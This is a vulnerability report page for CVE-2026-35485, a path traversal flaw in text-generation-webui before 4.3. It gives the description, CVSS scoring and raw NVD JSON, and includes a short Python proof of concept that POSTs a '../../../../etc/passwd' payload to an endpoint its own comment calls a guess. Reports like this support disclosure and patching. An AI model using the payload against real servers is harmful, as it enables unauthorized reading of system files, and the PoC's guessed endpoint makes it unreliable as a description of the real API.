Security Vulnerability Report
中文
CVE-2026-35485 CVSS 7.5 HIGH

CVE-2026-35485

Published: 2026-04-07 15:17:46
Last Modified: 2026-04-28 20:41:33

Description

text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, an unauthenticated path traversal vulnerability in load_grammar() allows reading any file on the server filesystem with no extension restriction. Gradio does not server-side validate dropdown values, so an attacker can POST directory traversal payloads (e.g., ../../../etc/passwd) via the API and receive the full file contents in the response. This vulnerability is fixed in 4.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:* - VULNERABLE
text-generation-webui < 4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): """ PoC for CVE-2026-35485 Exploits path traversal in load_grammar() to read arbitrary files. """ # The endpoint might vary, this is based on typical Gradio API structures api_endpoint = f"{target_url}/api/load_grammar" # Malicious payload to read /etc/passwd # Adjust the number of '../' based on the deployment directory depth traversal_payload = { "grammar_file": "../../../../etc/passwd" } try: print(f"[*] Sending request to {api_endpoint}...") response = requests.post(api_endpoint, data=traversal_payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text) if "root:" in response.text or "[extensions]" in response.text: print("[!] Potential file content detected!") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost:7860" # Replace with actual target exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35485", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:45.677", "lastModified": "2026-04-28T20:41:33.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "text-generation-webui is an open-source web interface for running Large Language Models. Prior to 4.3, an unauthenticated path traversal vulnerability in load_grammar() allows reading any file on the server filesystem with no extension restriction. Gradio does not server-side validate dropdown values, so an attacker can POST directory traversal payloads (e.g., ../../../etc/passwd) via the API and receive the full file contents in the response. This vulnerability is fixed in 4.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oobabooga:textgen:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3", "matchCriteriaId": "9A2B642B-80A8-46E1-931D-C5541264290A"}]}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-hqg5-487v-5mc6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/oobabooga/text-generation-webui/security/advisories/GHSA-hqg5-487v-5mc6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}